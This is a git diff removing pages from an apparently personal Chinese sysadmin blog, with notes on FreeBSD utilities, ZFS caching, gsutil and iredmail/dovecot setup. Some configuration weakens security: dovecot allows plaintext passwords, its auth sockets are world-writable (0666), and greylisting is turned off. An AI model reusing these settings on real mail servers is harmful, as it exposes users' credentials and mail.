    - - - 2014-04-22 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    /usr/ports/sysutils/fdupes

    - -

    make install clean

    - -

    root@ds:/root # fdupes -r /zp/ai/資訊部/ |more

    - -

    /zp/ai/資訊部/E-備存文件/維護維修記錄表/ALAN/201111/~$ALAN-201110伺服器設備異常狀況維修記錄表.xlsx -/zp/ai/資訊部/E-備存文件/維護維修記錄表/ALAN/201110/~$ALAN-201110伺服器設備異常狀況維修記錄表.xlsx

    - -

    /zp/ai/資訊部/A-專案/網站/雲端主機連線管理資料/雲端客服專線.txt -/zp/ai/資訊部/E-備存文件/合約/遠傳/雲端主機/雲端客服專線.txt

    - -

    /zp/ai/資訊部/A-專案/DMP/users-modified by Eric.csv -/zp/ai/資訊部/A-專案/DMP/users.csv

    - -

    /zp/ai/資訊部/E-備存文件/~$網域名稱清冊.doc -/zp/ai/資訊部/E-備存文件/副牌網域名稱清冊/~$網域名稱清冊-20130222.docx -/zp/ai/資訊部/C-月會報告/~$1306月會報告.docx -/zp/ai/資訊部/C-月會報告/~$1210 經營會議報告.docx -/zp/ai/資訊部/C-月會報告/~$1310月會報告.docx -/zp/ai/資訊部/E-備存文件/副牌網域名稱清冊/~$網域名稱清冊.doc

    - -

    /zp/ai/資訊部/G-帳號申請單/華南/離職-2013-0401-.pdf -/zp/ai/資訊部/G-帳號申請單/華南/離職2013-0401-.pdf

    - -

    /zp/ai/資訊部/G-帳號申請單/華南/C102017 蔡.pdf -/zp/ai/資訊部/G-帳號申請單/華南/C102017 營業處 蔡.pdf

    - -

    /zp/ai/資訊部/G-帳號申請單/華南/離職-2013-0401-C101012 營一部 李(成都).pdf -/zp/ai/資訊部/G-帳號申請單/華南/離職2013-0401-C101012 營一部 李(成都).pdf

    - -

    /zp/ai/資訊部/G-帳號申請單/華南/離職C102018-營二部 阮.pdf -/zp/ai/資訊部/G-帳號申請單/華南/C102018-營二部 阮.pdf

    - -

    /zp/ai/資訊部/G-帳號申請單/華南/離職2013-0830-周.pdf -/zp/ai/資訊部/G-帳號申請單/華南/離職-2013-0830-周.pdf

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-freebsd-e6-89-be-e5-87-ba-e4-b8-a6-e5-88-aa-e9-99-a4-e7-be-a4-e6-9a-89-e8-a8-8e-e4-ba-ba-e5-8e-ad-e7-9a-84-eadir-e7-9b-ae-e9-8c-84/index.html b/themes/public/article/e7-ad-86-e8-a8-98-freebsd-e6-89-be-e5-87-ba-e4-b8-a6-e5-88-aa-e9-99-a4-e7-be-a4-e6-9a-89-e8-a8-8e-e4-ba-ba-e5-8e-ad-e7-9a-84-eadir-e7-9b-ae-e9-8c-84/index.html deleted file mode 100644 index 214ea520..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-freebsd-e6-89-be-e5-87-ba-e4-b8-a6-e5-88-aa-e9-99-a4-e7-be-a4-e6-9a-89-e8-a8-8e-e4-ba-ba-e5-8e-ad-e7-9a-84-eadir-e7-9b-ae-e9-8c-84/index.html +++ /dev/null @@ -1,405 +0,0 @@ - - - - - - - - - - [筆記] FreeBSD 找出並刪除群暉討人厭的 @eaDir 目錄 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] FreeBSD 找出並刪除群暉討人厭的 @eaDir 目錄

    -
    - - - 2015-08-25 - - - - - - - - - 未分類 - - - - - -
    - - -

    最近試著自己做NAS 的Remote Backup

    - -

    但是因為群暉的NAS,都會在目錄底下自己建立一個 @eaDir 的目錄,就覺得很礙眼

    - -

    可是偏偏又用個 “@“符號開頭,造成一般 rm 指令還不能刪除 ..

    - -

    今天測試了一下,發現用 find 配合 iname 、 xargs 可以處理 -> find /zp/backup/sd -iname “@eaDir” -print0 | xargs -0 rm -rf -這樣一行就解決了!

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-freebsd-e7-94-a8-tree-e6-8c-87-e4-bb-a4-e5-88-97-e5-87-ba-e7-9b-ae-e9-8c-84-e6-a8-b9-e6-9c-83-e6-98-af-e4-ba-82-e7-a2-bc-e7-9a-84-e5-95-8f-e9-a1-8c/index.html b/themes/public/article/e7-ad-86-e8-a8-98-freebsd-e7-94-a8-tree-e6-8c-87-e4-bb-a4-e5-88-97-e5-87-ba-e7-9b-ae-e9-8c-84-e6-a8-b9-e6-9c-83-e6-98-af-e4-ba-82-e7-a2-bc-e7-9a-84-e5-95-8f-e9-a1-8c/index.html deleted file mode 100644 index 58f3eaf4..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-freebsd-e7-94-a8-tree-e6-8c-87-e4-bb-a4-e5-88-97-e5-87-ba-e7-9b-ae-e9-8c-84-e6-a8-b9-e6-9c-83-e6-98-af-e4-ba-82-e7-a2-bc-e7-9a-84-e5-95-8f-e9-a1-8c/index.html +++ /dev/null @@ -1,471 +0,0 @@ - - - - - - - - - - [筆記] FreeBSD 用 tree指令列出目錄樹會是亂碼的問題 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] FreeBSD 用 tree指令列出目錄樹會是亂碼的問題

    -
    - - - 2013-10-08 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    今天因為需要把NAS上的目錄結構匯出給廠商作參考,

    - -

    所以在NAS的備份機器上用PORTS安裝了tree指令,但是一開始執行在CONSOLE上顯示都是亂碼,無法閱讀。 -> root@ds:/root # tree -d -L 2 /nas/ERP文件/ -> -> /nas/ERP\346\226\207\344\273\266/ -> -> ├── @eaDir -> -> └── SAP\ \345\260\210\346\241\210\350\263\207\346\226\231\345\244\276 -> -> ├── 00\ \345\260\210\346\241\210\346\225\264\351\253\224\350\263\207\350\250\212 -> -> ├── 01\ \345\260\210\346\241\210\346\272\226\345\202\231\351\232\216\346\256\265 -> -> ├── 02\ \344\274\201\346\245\255\350\227\215\345\234\226\351\232\216\346\256\265 -> -> ├── 03\ \345\205\267\351\253\224\345\257\246\346\226\275\351\232\216\346\256\265 -> -> ├── 04\ \346\234\200\345\276\214\347\261\214\345\202\231\351\232\216\346\256\265 -> -> ├── 05\ \344\270\212\347\267\232\345\276\214\346\224\257\346\217\264 -> -> └── @eaDir -> -> -> 9 directories -> -> root@ds:/root # - 

    - -

    man tree 可以發現底下這段 -> FILE OPTIONS -> -> -q Print non-printable characters in filenames as question marks -> -> instead of the default. -> -> -N Print non-printable characters as is instead of as escaped octal -> -> numbers. -> -> -Q Quote the names of files in double quotes. -很明顯, -N 就是可以拿來測試看看的選項,果然一擊就中 -> root@ds:/root # tree -d -L 2 -N /nas/ERP文件/ -> -> /nas/ERP文件/ -> -> ├── @eaDir -> -> └── SAP 專案資料夾 -> -> ├── 00 專案整體資訊 -> -> ├── 01 專案準備階段 -> -> ├── 02 企業藍圖階段 -> -> ├── 03 具體實施階段 -> -> ├── 04 最後籌備階段 -> -> ├── 05 上線後支援 -> -> └── @eaDir -> -> -> 9 directories -> -> root@ds:/root # - 

    - -

    打完收工!

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-freebsd-e7-a3-81-e7-a2-9f-e7-ae-a1-e7-90-86-e7-9a-84-e6-8c-87-e4-bb-a4/index.html b/themes/public/article/e7-ad-86-e8-a8-98-freebsd-e7-a3-81-e7-a2-9f-e7-ae-a1-e7-90-86-e7-9a-84-e6-8c-87-e4-bb-a4/index.html deleted file mode 100644 index 59def3a9..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-freebsd-e7-a3-81-e7-a2-9f-e7-ae-a1-e7-90-86-e7-9a-84-e6-8c-87-e4-bb-a4/index.html +++ /dev/null @@ -1,399 +0,0 @@ - - - - - - - - - - [筆記] Freebsd 磁碟管理的指令 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] Freebsd 磁碟管理的指令

    -
    - - - 2016-03-03 - - - - - - - - - 其他 - - - - - -
    - - -
    -

    sh -c ‘. /usr/share/bsdconfig/device.subr;f_device_menu “” “” “” DISK’

    -
    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-freebsd-find-files-exclude-specified-path-extensions/index.html b/themes/public/article/e7-ad-86-e8-a8-98-freebsd-find-files-exclude-specified-path-extensions/index.html deleted file mode 100644 index 2be314ee..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-freebsd-find-files-exclude-specified-path-extensions/index.html +++ /dev/null @@ -1,402 +0,0 @@ - - - - - - - - - - [筆記] FreeBSD find files and exclude specified path or extensions | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] FreeBSD find files and exclude specified path or extensions

    -
    - - - 2016-08-08 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    FreeBSD 10.1

    - -

    找出 /zp/folder路徑下,所有包含 .doc 結尾的檔案,但是排除 AAA 目錄以及 所有 .docx 結尾的檔案 -> find /zp/folder  -name ‘.doc’ -not -path “AAA” -not -name ‘.docx‘ -find & rsync with full path -> find /zp/folder -name ‘.doc’ -not -path “AAA” -not -name ‘.docx’ -not -name ‘.wnj’ -exec rsync -avR {} /tmp/ \;

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-freebsd-ports-e5-ae-89-e8-a3-9d-dbus-e6-9c-83-e7-99-bc-e7-94-9f-dbus-pw-user-messagebus-already-exists-freebsd-e7-9a-84-e9-8c-af-e8-aa-a4/index.html b/themes/public/article/e7-ad-86-e8-a8-98-freebsd-ports-e5-ae-89-e8-a3-9d-dbus-e6-9c-83-e7-99-bc-e7-94-9f-dbus-pw-user-messagebus-already-exists-freebsd-e7-9a-84-e9-8c-af-e8-aa-a4/index.html deleted file mode 100644 index ee4f2eb8..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-freebsd-ports-e5-ae-89-e8-a3-9d-dbus-e6-9c-83-e7-99-bc-e7-94-9f-dbus-pw-user-messagebus-already-exists-freebsd-e7-9a-84-e9-8c-af-e8-aa-a4/index.html +++ /dev/null @@ -1,413 +0,0 @@ - - - - - - - - - - [筆記] Freebsd ports安裝 dbus 會發生 dbus pw: user 'messagebus' already exists freebsd 的錯誤 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] Freebsd ports安裝 dbus 會發生 dbus pw: user 'messagebus' already exists freebsd 的錯誤

    -
    - - - 2014-02-05 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    今天想在freebsd上弄個支援macos 可以用的time capsule 出來

    - -

    理所當然的用ports去安裝 /usr/ports/net/netatalk

    - -

    不過過程中會卡在 dbus 這邊,錯誤訊息是

    - -

    dbus pw: user ‘messagebus’ already exists

    - -

    即使是手動去砍掉/etc/passwd , /etc/group裡面的messagebus也沒用

    - -

    然後熊熊發現,freebsd好像沒有 userdel 的指令?

    - -

    找了一下發現要用 pw 去做userdel

    - -

    pw userdel messagebus

    - -

    然後再重新 make install dbus 就可以繼續跑下去了..

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-freebsd-zfs-hybrid-storage/index.html b/themes/public/article/e7-ad-86-e8-a8-98-freebsd-zfs-hybrid-storage/index.html deleted file mode 100644 index f62f23c3..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-freebsd-zfs-hybrid-storage/index.html +++ /dev/null @@ -1,460 +0,0 @@ - - - - - - - - - - [筆記] FreeBSD + ZFS as Hybrid Storage ? | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] FreeBSD + ZFS as Hybrid Storage ?

    -
    - - - 2015-01-08 - - - - - - - - - 工作筆記 - - - - - -
    - - - - -

    昨天參加 Nimble Storage Seminar之後的一點想法

    - -

    能不能用大量的記憶體配合一些SSD再加上 SATA硬碟,做出一個混合式的儲存空間提供給VDI使用?

    - -

    inline compression zfs 本來就有

    - -

    只是不曉得nimble 怎麼把讀寫分流SSD Cache/ SATA 硬碟上..

    - -

     

    - -

    ZIL:簡單一點說,就是寫入的cache ,改變先寫入到ZIL,由ZIL回覆AP說寫入OK,AP就可以繼續其他行程。

    - -

    有點錯誤,因為ZIL實際上是 “journal” ,檔案的寫入是先記錄在日誌上,再寫入到檔案系統

    - -

    所以藉著改變這個檔案系統的載體(就是磁碟機啦)的型態(從傳統硬碟到固態硬碟)

    - -

    就可以提升寫入的效能,但是ZIL有可能會毀損,所以大部分都建議也要做個保護 (mirror)

    - -

    zpool create pool_name log mirror /dev/sda1 /dev/sda2

    - -

    ARC: Read 快取,放在RAM中 ,

    - -

    /boot/loader.conf  vm.kmem_size

    - -

    amd64

    - -

    NOTE (gcooper): this blanket statement is far from true 100% of the time, depending on how the system with ZFS is being used.

    - -

    FreeBSD 7.2+ has improved kernel memory allocation strategy and no tuning may be necessary on systems with more than 2 GB of RAM.

    - -

    所以也許可以不用特別去設定?

    - -

    L2ARC: 同樣是 Read 快取,一般建議放在 MLC SSD

    - -

    zpool create pool_name cache /dev/sda1

    - -

     

    - -

    Update 2015/01/10

    - -

    所以第一層是 ARC (使用RAM) ,由系統自動去控制

    - -

    第二層是ZIL 用兩個SSD (SLC ? ) 做 Mirror

    - -

    第三層是L2ARC 用多個 SSD 做 Stripe ? 掛點會怎樣嗎?

    - -

    最後用SATA 硬碟就好..

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-gsutil-freebsd/index.html b/themes/public/article/e7-ad-86-e8-a8-98-gsutil-freebsd/index.html deleted file mode 100644 index de55acf2..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-gsutil-freebsd/index.html +++ /dev/null @@ -1,421 +0,0 @@ - - - - - - - - - - [筆記] gsutil on FreeBSD | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] gsutil on FreeBSD

    -
    - - - 2015-01-12 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    先看這篇 https://cloud.google.com/storage/docs/gsutil

    - -

    下載之後,不需要編譯,修改系統路徑變數 (export / set / setenv / vi .cshrc)

    - -

    執行 gsutil config ,會要求前往一個URL,允許程式存取 Google Cloud Storage

    - -

    2015-01-12_16-49-10

    - -

    然後會要求輸入一些google的資訊,像是專案ID之類的

    - -

    完成之後,可以用 gsutil ls gs://bucket_name 來檢視內容

    - -

    2015-01-12_16-50-41

    - -

    可以看到裡面建立了一個 SN.txt

    - -

    跟在網頁上看到的是一樣的

    - -

    2015-01-12_16-51-36

    - -

    不過呢,我想要用的功能是把這個空間掛載成本機的磁碟空間,可以直接存取

    - -

    還要繼續找看看有沒有其他的程式可以做到

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-icloud-e4-b8-8a-e7-9a-84-e7-85-a7-e7-89-87-e4-b8-b2-e6-b5-81-e8-a6-81-e6-80-8e-e9-ba-bc-e8-a4-87-e8-a3-bd-e5-88-b0-e8-a8-98-e6-86-b6-e5-8d-a1-e3-80-81-e9-9a-a8-e8-ba-ab-e7-a2-9f/index.html b/themes/public/article/e7-ad-86-e8-a8-98-icloud-e4-b8-8a-e7-9a-84-e7-85-a7-e7-89-87-e4-b8-b2-e6-b5-81-e8-a6-81-e6-80-8e-e9-ba-bc-e8-a4-87-e8-a3-bd-e5-88-b0-e8-a8-98-e6-86-b6-e5-8d-a1-e3-80-81-e9-9a-a8-e8-ba-ab-e7-a2-9f/index.html deleted file mode 100644 index 64becbd8..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-icloud-e4-b8-8a-e7-9a-84-e7-85-a7-e7-89-87-e4-b8-b2-e6-b5-81-e8-a6-81-e6-80-8e-e9-ba-bc-e8-a4-87-e8-a3-bd-e5-88-b0-e8-a8-98-e6-86-b6-e5-8d-a1-e3-80-81-e9-9a-a8-e8-ba-ab-e7-a2-9f/index.html +++ /dev/null @@ -1,415 +0,0 @@ - - - - - - - - - - [筆記] iCloud上的照片串流要怎麼複製到記憶卡、隨身碟等非蘋果裝置 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] iCloud上的照片串流要怎麼複製到記憶卡、隨身碟等非蘋果裝置

    -
    - - - 2014-02-21 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    今天敗了一個 togobox

    - -

    想說把之前用iCloud備份的照片放到這裡面來測試,結果發現在檔案總管中看到的 iCloud照片 這個目錄,沒辦法被複製… WTF !

    - -

    不過呢,解決方法也很簡單就是了

    - -

    照片串流在Win7底下的實際目錄為

    - -

    c:\users\user_id\pictures\Photo Stream

    - -

    or

    - -

    c:\users\user_id\我的圖片\Photo Stream

    - -

    到這裡面把目錄複製出來就好了

    - -

    圖片 1

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-iredmail-e5-8f-96-e6-b6-88-e7-81-b0-e5-90-8d-e5-96-ae-e6-a9-9f-e5-88-b6-iredmail-disabled-greylisting-plugin/index.html b/themes/public/article/e7-ad-86-e8-a8-98-iredmail-e5-8f-96-e6-b6-88-e7-81-b0-e5-90-8d-e5-96-ae-e6-a9-9f-e5-88-b6-iredmail-disabled-greylisting-plugin/index.html deleted file mode 100644 index 57e97efb..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-iredmail-e5-8f-96-e6-b6-88-e7-81-b0-e5-90-8d-e5-96-ae-e6-a9-9f-e5-88-b6-iredmail-disabled-greylisting-plugin/index.html +++ /dev/null @@ -1,421 +0,0 @@ - - - - - - - - - - [筆記] iredmail 取消灰名單機制 / iredmail disabled greylisting plugin | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] iredmail 取消灰名單機制 / iredmail disabled greylisting plugin

    -
    - - - 2016-04-22 - - - - - - - - - 其他 - - - - - -
    - - -

    個人覺得灰名單其實在郵件過濾的過程中,是很容易造成誤判的一個機制

    - -

    尤其現在很多的帳號「認證」、「驗證」的步驟,都會寄送一封郵件,內含驗證碼讓使用者回填

    - -

    通常這類驗證信件在被灰名單擋住第一次之後,都不會主動再寄送第二次

    - -

    2016-04-22_16-15-49

    - -

    所以常碰到這種狀況,必須手動去排除灰名單

    - -

    與其這樣,我倒認為乾脆解除這個機制還比較好一點

    - -

    在 iredmail 系統中,要解除這個灰名單的機制,要去修改 settings.py 裡面的內容 -> vim /opt/iredapd/settings.py -找到底下這一段,拿掉 greylisting -> plugins = [“reject_null_sender”, “greylisting”, “throttle”, “amavisd_wblist”, “ldap_maillist_access_policy”] -變成這樣 -> plugins = [“reject_null_sender”, “throttle”, “amavisd_wblist”, “ldap_maillist_access_policy”] -存檔後重起 iredapd 服務 -> service iredapd restart -再次發送驗證信件,應該就可以了!

    - -

    2016-04-22_16-18-11

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-iredmail-e7-9a-84amavisd-e9-a0-90-e8-a8-ad-e5-a5-bd-e5-83-8f-e6-9c-89-e5-95-8f-e9-a1-8c/index.html b/themes/public/article/e7-ad-86-e8-a8-98-iredmail-e7-9a-84amavisd-e9-a0-90-e8-a8-ad-e5-a5-bd-e5-83-8f-e6-9c-89-e5-95-8f-e9-a1-8c/index.html deleted file mode 100644 index 4aad6a32..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-iredmail-e7-9a-84amavisd-e9-a0-90-e8-a8-ad-e5-a5-bd-e5-83-8f-e6-9c-89-e5-95-8f-e9-a1-8c/index.html +++ /dev/null @@ -1,437 +0,0 @@ - - - - - - - - - - [筆記] iredmail 的amavisd 預設好像有問題 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] iredmail 的amavisd 預設好像有問題

    -
    - - - 2016-05-11 - - - - - - - - - 其他 - - - - - -
    - - -

    從外面寄信時,會在 maillog 看到類似這樣的錯誤,不過信件還是可以寄出就是 -> May 11 17:23:13 iredmail amavis[1582]: (01582-02) TempDir::prepare_file: /var/spool/amavisd/tmp/amavis-20160511T172313-01582-kSxYqpMz/email.txt no longer exists, can’t re-use it -雖然信件還是可以正常寄出,不過看到有error 就是不爽 XD

    - -

    看起來像是權限的問題

    - -

    去找了一下/var/spool/amavisd 這個目錄的權限,應該是沒有問題 -> drwxr-x—   7 amavis amavis 4096 May 11 17:32 amavisd -又看到網路上有人說這是因為clam帳號權限的問題

    - -

      -> The problem with EPEL is that the “clam” user does not have access to the amavis folders. To get this to work with EPEL is pretty staight forward: -> -> -> 解決方法也很簡單 -> -> -> usermod -a -G amavis clam -> -> chmod g+rx /var/spool/amavisd/tmp - 

    - -

    不過呢,事情當然沒有這麼簡單..

    - -

    改完這些設定後,要重啟 amavisd 就出問題了,一直失敗 -> May 11 17:30:27 iredmail amavis[10713]: starting. /usr/sbin/amavisd at iredmail.cowbay.org amavisd-new-2.9.1 (20140627), Unicode aware, LANG=“en_US.UTF-8” -> -> May 11 17:30:27 iredmail amavis[10713]: (!)Net::Server: 2016/05/11-17:30:27 Pid_file already exists for running process (1323)… aborting\n\n  at line 145 in file /usr/share/perl5/vendor_perl/Net/Server.pm -不知道為何,系統的 amavisd 行程會一直咬著不放

    - -

    解決方法就是去砍掉系統內的 amavisd 再重啟服務 -> ps -aux |grep amavis -找出 id 後,砍光光

    - -

    然後 service amavisd start 就可以了!

    - -

     

    - -

     

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-iredmail-postfix-dovecot-e7-9a-84-e4-b8-80-e4-ba-9b-e8-a8-ad-e5-ae-9a/index.html b/themes/public/article/e7-ad-86-e8-a8-98-iredmail-postfix-dovecot-e7-9a-84-e4-b8-80-e4-ba-9b-e8-a8-ad-e5-ae-9a/index.html deleted file mode 100644 index a5f5b605..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-iredmail-postfix-dovecot-e7-9a-84-e4-b8-80-e4-ba-9b-e8-a8-ad-e5-ae-9a/index.html +++ /dev/null @@ -1,1282 +0,0 @@ - - - - - - - - - - [筆記] Iredmail + Postfix Admin dovecot 的一些設定 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] Iredmail + Postfix Admin dovecot 的一些設定

    -
    - - - 2016-05-05 - - - - - - - - - 其他 - - - - - -
    - - -

    /etc/dovecot/dovecot.conf

    - -

    重點

    - -

    disable_plaintext_auth = no

    - -

    mail_location = maildir:/var/vmail/%d/%n:INDEX=/var/vmail/%d/%n/indexes

    - -

     

    - -

      -> #ssl_dh_parameters_length = 2048 -> -> #ssl_prefer_server_ciphers = yes -> -> -> # IP ranges specified by login_trusted_networks setting are assumed to be secure. -> -> #login_trusted_networks = 127.0.0.1 -> -> -> # With disable_plaintext_auth=yes AND ssl=required, STARTTLS is mandatory. -> -> # Set disable_plaintext_auth=no AND ssl=yes to allow plain password transmitted -> -> # insecurely. -> -> disable_plaintext_auth = no -> -> # Allow plain text password per IP address/net -> -> #remote 192.168.0.0/24 { -> -> #   disable_plaintext_auth = no -> -> # } -> -> -> # Mail location and mailbox format. -> -> #mail_location = maildir:%Lh/Maildir/:INDEX=%Lh/Maildir/ -> -> mail_location = maildir:/var/vmail/%d/%n:INDEX=/var/vmail/%d/%n/indexes -> -> # Authentication related settings. -> -> # Append this domain name if client gives empty realm. -> -> auth_default_realm = abc.org -> -> -> # Authentication mechanisms. -> -> auth_mechanisms = PLAIN LOGIN -> -> -> # Limits the number of users that can be logging in at the same time. -> -> # Default is 100. This can be overridden by process_limit = in -> -> # service [protocol] block. -> -> # e.g. -> -> #       protocol imap-login { -> -> #           … -> -> #           process_limit = 500 -> -> #       } -> -> #default_process_limit = 100 -> -> -> service auth { -> -> -> unix_listener /var/spool/postfix/private/dovecot-auth { -> -> user = postfix -> -> group = postfix -> -> mode = 0666 -> -> } -> -> unix_listener auth-master { -> -> user = vmail -> -> group = vmail -> -> mode = 0666 -> -> } -> -> unix_listener auth-userdb { -> -> user = vmail -> -> group = vmail -> -> mode = 0660 -> -> } -> -> } -> -> -> # LMTP server (Local Mail Transfer Protocol). -> -> # Reference: http://wiki2.dovecot.org/LMTP -> -> service lmtp { -> -> user = vmail -> -> -> # For higher volume sites, it may be desirable to increase the number of -> -> # active listener processes. A range of 5 to 20 is probably good for most -> -> # sites. -> -> process_min_avail = 5 -> -> -> # Logging. -> -> # Require ‘info_log_path =’ in ‘protocol lmtp { }’ block. -> -> executable = lmtp -L -> -> -> # Listening on socket file and TCP -> -> unix_listener /var/spool/postfix/private/dovecot-lmtp { -> -> user = postfix -> -> -> group = postfix -> -> mode = 0600 -> -> } -> -> -> inet_listener lmtp { -> -> # Listen on localhost (ipv4) -> -> address = 127.0.0.1 -> -> port = 24 -> -> } -> -> } -> -> -> # Virtual mail accounts. -> -> userdb { -> -> args = /etc/dovecot/dovecot-mysql.conf -> -> driver = sql -> -> } -> -> passdb { -> -> args = /etc/dovecot/dovecot-mysql.conf -> -> driver = sql -> -> } -> -> -> # Master user. -> -> # Master users are able to log in as other users. It’s also possible to -> -> # directly log in as any user using a master password, although this isn’t -> -> # recommended. -> -> # Reference: http://wiki2.dovecot.org/Authentication/MasterUsers -> -> auth_master_user_separator = * -> -> passdb { -> -> driver = passwd-file -> -> args = /etc/dovecot/dovecot-master-users -> -> master = yes -> -> } -> -> -> plugin { -> -> -> auth_socket_path = /var/run/dovecot/auth-master -> -> -> # Quota configuration. -> -> # Reference: http://wiki2.dovecot.org/Quota/Configuration -> -> quota = dict:user::proxy::quotadict -> -> quota_rule = *:storage=1G -> -> #quota_rule2 = :messages=0 -> -> #quota_rule3 = Trash:storage=1G -> -> #quota_rule4 = Junk:ignore -> -> -> # Quota warning. -> -> # -> -> # If user suddenly receives a huge mail and the quota jumps from -> -> # 85% to 95%, only the 95% script is executed. -> -> # -> -> # Only the command for the first exceeded limit is executed, so configure -> -> # the highest limit first. -> -> quota_warning = storage=100%% quota-warning 100 %u -> -> quota_warning2 = storage=95%% quota-warning 95 %u -> -> quota_warning3 = storage=90%% quota-warning 90 %u -> -> quota_warning4 = storage=85%% quota-warning 85 %u -> -> -> # allow user to become max 10% 